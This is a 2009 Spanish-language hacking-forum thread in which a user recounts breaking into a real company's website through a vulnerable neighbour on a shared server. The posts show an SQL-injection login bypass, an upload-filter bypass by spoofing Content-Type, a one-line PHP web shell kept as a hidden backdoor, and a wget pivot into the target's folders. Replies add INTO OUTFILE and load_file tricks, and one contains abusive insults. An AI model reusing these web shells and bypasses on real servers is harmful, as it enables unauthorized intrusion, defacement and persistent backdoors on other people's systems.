Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: OzX en 10 Abril 2009, 05:37 am



Título: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 10 Abril 2009, 05:37 am
El Objetivo del Post es demostrar que es posible ingresar a una web no necesariamente por la Misma en cuestion, sino mas bien que es posible ver que paginas estan alojadas en el servidor y poder subir una shell de forma paralela. aprovechando las vulnerabilidades que estan en otras paginas alojadas en el Mismo Servidor. Porque simplemente una pagina es una Carpeta mas dentro de un Servidor.


Este es un Caso real de una Empresa que hace Paginas para el Gobierno, Aunque no e recibido contacto alguno de parte de ellos, posteo la metodologia de la intrusion y imagenes de un Video que les Envie. No posteo la Falla en Si ni la Pagina, porque no FALTARA, el que hace provecho de este. Espero que sea les de Utilidad.

Edite todas las Imagenes, para no tener Problemas.

A la  pagina que yo Deseo Ingresar, Llamemosla Objetivo.com.

Analizando la Web me encuentro que es puro html, mas duro que una Roca, tiene una zona de login pero Sin fallas de Injecciones, Luego de saber de forma manual que no podia ingresar, busque en google algun archivo php u asp, que estuviera en el Sitio.

Código:
site:objectivo.com inurl:php
site:objectivo.com inurl:asp

Y para mi Sorpresa solo existia 1 solo php que era del Login y de la zona de usuario.

Ahora bien , aunque paresca el evangelizador de las reverse Dns, encuentro que es una Opcion Total, para las intrusiones en Servidores Compartidos.

Reverse DNS:
(http://i44.tinypic.com/241pmvt.png)

Me Encuentro Con Varios Sitios, 2 de ellos Joomla, dios que Odio los Joomla XD¡. Aunque sean Utiles, No me gustan. Por lo Cual los deje para el FInal.
Pero para i sorpresa me encuentro con una Web que se nota que no a sido actualizada hace mucho mucho tiempo, por lo cual, mi mision ahora es ingresar por dicha Web.

Llamemos esta web Compartido.com

Analizando la Web encuentro una Falla de Sql Injection:

(http://i43.tinypic.com/2rfvret.png)

Ahora bien, tenia todo el Animo del Mundo, pero a medida que iva desentrañando la Vulnerabilidad me doy cuenta que es una Version 4 de mysql (adios schema), intente adivinar las tablas y nada. Dije vamos como tan Mal ¡ Intente si tenia Magic quotes ..... y Sep. Adios Into Out File.

Busque otros Inputs Vulnerables pero todos me llevaban a la Misma Inyeccion. 


AL Otro dia ya mas relajado, empiezo a buscar el panel de administrador, para ver por si, como era una web antigua tenia la mitica injeccion sql de 'or'+1=1--, buscando no me demore ni 1 seg en provar /admin/, el cual magicamente aparecio ante mi.

(http://i43.tinypic.com/j9sosn.jpg)

Panel:
(http://i44.tinypic.com/2vsi6go.png)

Y que No ¡

(http://i39.tinypic.com/2qnntcx.png)

me reia solo al pensar que pase como 2 horas provando tablas y opciones, teniendo el acceso a un "/admin" de distancia...

Rapidamente fui a buscar algun Upload, y claramente encontre uno, pero tenia un Filtro basico para que solo se puedera subir imagenes. (content-type)

(http://i41.tinypic.com/2w5q81u.png)

Volvi a Subir la Shell pero la volvi a enviar , pero dejando el content type del jpg, pero cambiando la extension.

(http://i43.tinypic.com/2m860ba.png)

Shell Up :
(http://i39.tinypic.com/296jdih.png)

Ahora bien la "Shell" Que subir es un Simple Request Pasado al Systema.

Código:
<? system($_REQUEST['cmd']); ?>

¿Porque?

En lo personal Encuentro que con este Tipo de Shell es mucho mas facil subir el archivo , principalmente por eso, y tambien porque no es tan invasivo como Subir la Shell directamente. La Puedes Incluso dejar como Backdoor.

Ahora teniendo Esto Arriba, nada mas tenia que ubicar el path en donde se alojaba Objectivo.com

(http://i39.tinypic.com/2e6a1he.png)


Pero uhmmm, como lo Sabre?... Pues en la Segunda Imagen se Muestra Claramente el Path con el Error.
Aunque paseando por el sistema se puede saber facilmente el path.

(http://i40.tinypic.com/33m3pcj.png)

Ahora ya Conociendo el Path nada mas me quedaba Subir la Shell, a Objetivo.com pero ¿Como se que Carpeta tien permisos de escritura?, En lo personal, veo las imagenes alojadas en el servidor, y observo la Ruta de este, "casi" siempre, estas carpetas en donde se alojan las imagenes, estan con permisos, por lo cual mi Ruta era.

Código:
var/www/vhost/objectivo.com/admin/upload/

Y Gracias  a Este Post de Como  Subir Shell Via Wget (http://foro.undersecurity.net/read.php?15,772)
(http://i41.tinypic.com/vwzibp.png)


The Show Time ¡
(http://i44.tinypic.com/2n1589e.png)


Saludos¡
OzX¡
Undersecurity.net


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Darioxhcx en 10 Abril 2009, 06:14 am
la verdad que esta bueno , me gusto lo de la parte final , no la hubiera imaginado de en ves de subir la shell , empezar a ejecutar comandos
y localizar paths

saludos


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: protos en 10 Abril 2009, 12:57 pm
Muy buena, gracias por compartir. Despues del reverse dns, entraste a todas las web a probar?


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 10 Abril 2009, 19:21 pm
Muy buena, gracias por compartir. Despues del reverse dns, entraste a todas las web a probar?
Hi brota
Pues accedi a todos los vhost que tenia el server, pero me interesaba una en especial objectivo.com.
Pero en otros casos me e encontrado con que ingresando a un solo servidor me encuentro con mas de 200 paginas.

Una vez logre obtener una cantidad de 15.000 paginas, pudo haber sido el mayor mass defacement de la historia de chile xD¡.
Pero lo reporte y me agredecieron con un intento de demanda xD¡.
Cosas que pasan.

Saludos Brota¡


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: protos en 10 Abril 2009, 19:48 pm
Jajaja, que agradecidos. Pero a tantas paginas que encuentras con un reverse DNS, para comprobarlas todas te puedes morir...:S Y sin la seguridad de encontrar un hueco.

salu2!


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 10 Abril 2009, 20:00 pm
Jajaja, que agradecidos. Pero a tantas paginas que encuentras con un reverse DNS, para comprobarlas todas te puedes morir...:S Y sin la seguridad de encontrar un hueco.

salu2!

jejeje osea claro, puedes tener como 200 paginas en un reverse, pero para ello, tengo varios scripts.
que ya automatizan todo.

no me encuentran todas las vulnz obviamente, pero si me sacan los Links con los Inputs
php?x=xx
asp?x=xx
y eliina los repetido, asi nada mas voy revisando por categoria por paginas.
y se me hace muxo mas facil.

incluso, detecta si muestra en pantalla algun error de mysql.

sike a la larga no es tanto trabajo.

Saludos¡ Brota¡


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Littlehorse en 10 Abril 2009, 20:23 pm
El upload de la shell estuvo bueno, y tambien la curraste con la localizacion de paths, pero no veo mas que la misma historia de siempre  :-\. No estoy despreciando el post pero lo unico interesante que se puede rescatar de aqui es que siempre hay secciones desactualizadas que pueden ser explotadas, porque vamos que poder aprovecharse de "'or'+1=1--" a estas alturas...


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Re
Publicado por: IWKY en 10 Abril 2009, 20:43 pm
Hola, tengo una duda, porque no subiste de buenas a primeras la c99 y subiste un script mas sencillo.


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 10 Abril 2009, 21:19 pm
El upload de la shell estuvo bueno, y tambien la curraste con la localizacion de paths, pero no veo mas que la misma historia de siempre  :-\. No estoy despreciando el post pero lo unico interesante que se puede rescatar de aqui es que siempre hay secciones desactualizadas que pueden ser explotadas, porque vamos que poder aprovecharse de "'or'+1=1--" a estas alturas...

Claro brota, no a todos les tiene q gustar, te respeto tu opinion.
pero varios al no encontrar falla en una web, se olvidan, teniendo la posibilidad de ver que paginas estan alojada en el mismo server. esa es la idea del post. mas bien el objectivo.
Edite el Post principal, con el objectivo del post.
Saludos Compañero ¡


Hola, tengo una duda, porque no subiste de buenas a primeras la c99 y subiste un script mas sencillo.

Hi Brota
como dje en el post, esa "mini shell" me sirve para poder mandar commandos directos y es muxo mas facil poder moverse en el server y la carga es muxo menor.
asi la tengo como back, por cualquier cosa jejeje
tambien porque no queria subir la c99 en la pagina compartida, sino mas bien en la otra.
nada mas este me sirvio de puente, para poder subir la shell en la otra carpeta.

pero bueno cada uno lo hace como se sienta mas comodo.
aparte que la c99 muxas veces, no deja ver otros directorios. porque dios sabe porque, (talves por los commandos que utiliza). pero al tener permisos de system, puedo hacer ls a donde el usuario del server me permita, lo cual es muxo mejor.

Saludos¡
Oz¡


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Littlehorse en 10 Abril 2009, 21:56 pm
Citar
Claro brota, no a todos les tiene q gustar, te respeto tu opinion.
pero varios al no encontrar falla en una web, se olvidan, teniendo la posibilidad de ver que paginas estan alojada en el mismo server. esa es la idea del post. mas bien el objectivo.
Edite el Post principal, con el objectivo del post.
Saludos Compañero ¡

No no. Me gustan este tipo de posts, creo que siempre esta bueno ver el "Real-Scenario" para ciertas cosas, solo remarque lo que a mi me parece mas destacable, que no lo son los metodos en si, pero si la posibilidad de encontrar fallos explotables en otras secciones, como bien pusiste en el primer post.
En cuanto a la carga de la mini-shell, llevas razon, y ademas hasta podria pasar mas desapercibida que otras.

Saludos!


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 10 Abril 2009, 22:03 pm
Citar
Claro brota, no a todos les tiene q gustar, te respeto tu opinion.
pero varios al no encontrar falla en una web, se olvidan, teniendo la posibilidad de ver que paginas estan alojada en el mismo server. esa es la idea del post. mas bien el objectivo.
Edite el Post principal, con el objectivo del post.
Saludos Compañero ¡

No no. Me gustan este tipo de posts, creo que siempre esta bueno ver el "Real-Scenario" para ciertas cosas, solo remarque lo que a mi me parece mas destacable, que no lo son los metodos en si, pero si la posibilidad de encontrar fallos explotables en otras secciones, como bien pusiste en el primer post.
En cuanto a la carga de la mini-shell, llevas razon, y ademas hasta podria pasar mas desapercibida que otras.

Saludos!


jejeje , totalmente de acuerdo contigo un 'or'+1=1-- no tiene gran magia, pero como decia el objetivo no es ese, por eso lo puse al inicio del post.
y sobre la mini shell, no la ve nadie, aparte, se podria poner en una pagina, con @ adelante, asi evita que muestre errores, y pasa pero "piolita" jejejej

Saludos Brota¡


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: braulio-- en 10 Abril 2009, 22:22 pm
porque pones caso #2?
Hubo un caso 1?
Lo he estado buscando y no lo encuentro.


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 10 Abril 2009, 22:24 pm
porque pones caso #2?
Hubo un caso 1?
Lo he estado buscando y no lo encuentro.

Hi Brota
http://foro.elhacker.net/nivel_web/caso_01_blind_sql_inyection_con_descarga_forzada-t244378.0.html

Era un Caso de Blind sql Injection con Descarga Forzada.

Saludos¡


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: braulio-- en 10 Abril 2009, 23:10 pm
Muy bueno xD
Espero que vayas poniendo mas, da muchas ideas xD


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: WHK en 11 Abril 2009, 05:35 am
Estaba bueno, se supone que cuando uno tiene acceso de una shell con host compartido se suponía que no tienes derechos de visualizar ni escribir pero vi que podias escribir donde habian permisos totales que es en el directoriod e imagenes, ahora.. cuando tienes un hosting pagado te dan los permisos por defecto asi que no tienes que modificar mas permisos porque ya pueden ser sobreescritos pero aun asi no tienes acceso a ellas desde otro usuario, eso significaría que solo tienes acceso a los que ponen permisos "totales" en el directorio?

También si te fijas puedes hacer un "INTO OUTFILE" hacia ese directorio sin la necesidad de volver a utilizar el sistema de uploads ya que por defecto debería tener los mismos permisos que php para escribir.

Una forma para subir la shell sin la necesidad de tener el sistema de uploads es crear un error forzado devolviendote un path disclosure como por ejemplo:
(http://i43.tinypic.com/2rfvret.png)
/vhost/sitiocompartido.com/httpdocs/
Así que con este dato puedes intentar hacer una sql inyección con INTO OUTFILE hacia:
/vhost/victima.com/httpdocs/images/test.php
/vhost/victima.com/httpdocs/logs/test.php
<- Este directorio tiene por defecto escritura total en joomla
/vhost/victima.com/httpdocs/imagenes/test.php
/vhost/victima.com/httpdocs/img/test.php

o buscar el directorio de imagenes poniendo "ver imagen" desde el explorador.

Saludos


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 11 Abril 2009, 14:59 pm
Citar
Estaba bueno, se supone que cuando uno tiene acceso de una shell con host compartido se suponía que no tienes derechos de visualizar ni escribir pero vi que podias escribir donde habian permisos totales que es en el directoriod e imagenes, ahora.. cuando tienes un hosting pagado te dan los permisos por defecto asi que no tienes que modificar mas permisos porque ya pueden ser sobreescritos pero aun asi no tienes acceso a ellas desde otro usuario, eso significaría que solo tienes acceso a los que ponen permisos "totales" en el directorio?

Claramente la configuracion del server tiene mucho que ver, de partida tener safe mode off.

Citar
También si te fijas puedes hacer un "INTO OUTFILE" hacia ese directorio sin la necesidad de volver a utilizar el sistema de uploads ya que por defecto debería tener los mismos permisos que php para escribir.

Error, Porque para que puedas utilizar into outfile, nececitas magic quotes off, y los grant necesarios , una cosa es el usuario de mysql, y otro es el usuario del apache. y en este caso tenia magic quotes on.

Citar
Una forma para subir la shell sin la necesidad de tener el sistema de uploads es crear un error forzado devolviendote un path disclosure como por ejemplo:

Una de las tantas formas, como tambien haciendo un load_file al host.conf, u al apache2.conf. dependiendo de la version.


Saludos.
Oz




Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Data Seek3r en 16 Abril 2009, 10:20 am
Muy buena OzX, pero por que ***** no rooteaste? :xD


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 17 Abril 2009, 03:35 am
Muy buena OzX, pero por que ***** no rooteaste? :xD

jejeje porque es desagradable, matar el trabajo de otros.
en este caso le reporte el fallo, incluso realize un video. pero jamas me contestaron. XD¡.
Pero eso no siginifca que tenga que joderles todo.

Saludos¡


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Yeshua en 17 Abril 2009, 04:04 am
Lo de la amenaza de demanda es cierto!!?? que cabrones! desagradecidos. Mira que yo he encontrado una web con fallas, aunqe aun no encuentro por donde explotarlas, pero se que se puede. Tenia pensado cuando lo hiciera avisarlos.. pero si me responden con eso mejor me estoy quieto.


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Data Seek3r en 17 Abril 2009, 09:06 am
jejeje porque es desagradable, matar el trabajo de otros.
en este caso le reporte el fallo, incluso realize un video. pero jamas me contestaron. XD¡.
Pero eso no siginifca que tenga que joderles todo.

Saludos¡


Si pensas que obtener privilegios de root en un servidor unix es 'matar el trabajo de otros' sinceramente deberias suicidarte, dedicarte a limpiar ventanales, o hacer turismo sexual en zonas marginales de nigeria.


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 17 Abril 2009, 14:55 pm
jejeje porque es desagradable, matar el trabajo de otros.
en este caso le reporte el fallo, incluso realize un video. pero jamas me contestaron. XD¡.
Pero eso no siginifca que tenga que joderles todo.

Saludos¡


Si pensas que obtener privilegios de root en un servidor unix es 'matar el trabajo de otros' sinceramente deberias suicidarte, dedicarte a limpiar ventanales, o hacer turismo sexual en zonas marginales de nigeria.


jajjajajajajajajajajjajajajajajjajajajajajjajaja pordios que imaginacion.
Me va bien limpiando ventanales , derechaaa , izquierda, arriba, abajo-

(http://shinensparkleservice.com/yahoo_site_admin/assets/images/clean-windows-06.6583544.jpg)

 ;-)

Saludos Brota¡


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Azielito en 17 Abril 2009, 16:18 pm
Si pensas que obtener privilegios de root en un servidor unix es 'matar el trabajo de otros' sinceramente deberias suicidarte, dedicarte a limpiar ventanales, o hacer turismo sexual en zonas marginales de nigeria.

que comentario mas curioso :xD


Esta bueno el tuto, me falta hacer eso de cambiar el tipo de contenido del archivo, ahora mismo hare una aplicacion para practicar :D


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Littlehorse en 17 Abril 2009, 19:24 pm
Citar
Si pensas que obtener privilegios de root en un servidor unix es 'matar el trabajo de otros' sinceramente deberias suicidarte, dedicarte a limpiar ventanales, o hacer turismo sexual en zonas marginales de nigeria.


JAJJJAJJ, OzX como te ves en Nigeria ? :laugh: :laugh:   ;-)


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 18 Abril 2009, 03:45 am
con las yales que tengo XD¡ va bien pero una yale no esta contenta con el trato . XD¡ awjwajawjjwa
van a cerrar el tema XD¡

Saludos Brotas¡


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: YST en 18 Abril 2009, 17:17 pm
Citar
Si pensas que obtener privilegios de root en un servidor unix es 'matar el trabajo de otros' sinceramente deberias suicidarte, dedicarte a limpiar ventanales, o hacer turismo sexual en zonas marginales de nigeria.
Podrias explicar un poco mas tu forma de pensar , por que y o pienso lo mismo que OzX.



Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: Data Seek3r en 19 Abril 2009, 11:37 am
Que es lo mismo que cargar una pistola para ver.. como carga, y no dispararla. Solo por obtener permisos de root y darte como " si, vulnere el servidor completamente " no significa que quieras hacer daño.

PD: Me dijo un pajarito que OzX se compro un boleto primera clase a nigeria, y atencion, llevo su cam. (?)


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: YST en 20 Abril 2009, 18:43 pm
Si y tampoco es lo mismo meterse a una casa y abrir las chapas  y no robarla a robarla  , pero hay que ser honesto la gente no rootea por rootear , generalmente es para hacer varios defaces , exepto que sea para aprender y puedo poner mis manos al fuego que OzX no necesita aprender a rootear  .

PD: Tus chistesitos no van por acá , hay un post en el foro libre si no mal recuerdo para contar chistes por si te sientes gracioso.
Saludos


Título: Re: Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real)
Publicado por: OzX en 21 Abril 2009, 02:46 am
Que es lo mismo que cargar una pistola para ver.. como carga, y no dispararla. Solo por obtener permisos de root y darte como " si, vulnere el servidor completamente " no significa que quieras hacer daño.

PD: Me dijo un pajarito que OzX se compro un boleto primera clase a nigeria, y atencion, llevo su cam. (?)


uhmmm veamos...
Citar
" si, vulnere el servidor completamente " no significa que quieras hacer daño.
Ehmmm daa??? :huh:

Podrias buscar, que otros efectos secundarios implica "rootear".  :¬¬
En lo Personal si yo ya ingrese y tengo "shell" ya estoy satisfecho. para mi eso es todo. No nececito rootear.

Acaso si se entra a robar a una cosa, no basta con dejarle una nota? si tambien QUEMAR la casa?

Yo no nececito rootear. aparte cuando rooteee va a ser cuando entienda asm y c++, como se produce, como codearlo, la estructura, etc .en ese contexto yo rootearia (lab). pero no para joderle la vida a otros.

Pero bueno si tu crees que rootear es necesario, y se tiene que hacer, buenoo, cosa tuya, juegue con eso. Yo me quedo solo hasta la shell.


Si y tampoco es lo mismo meterse a una casa y abrir las chapas  y no robarla a robarla  , pero hay que ser honesto la gente no rootea por rootear , generalmente es para hacer varios defaces , exepto que sea para aprender y puedo poner mis manos al fuego que OzX no necesita aprender a rootear  .

PD: Tus chistesitos no van por acá , hay un post en el foro libre si no mal recuerdo para contar chistes por si te sientes gracioso.
Saludos


:D gracias Compañero YST ¡
Saludos¡


OzX¡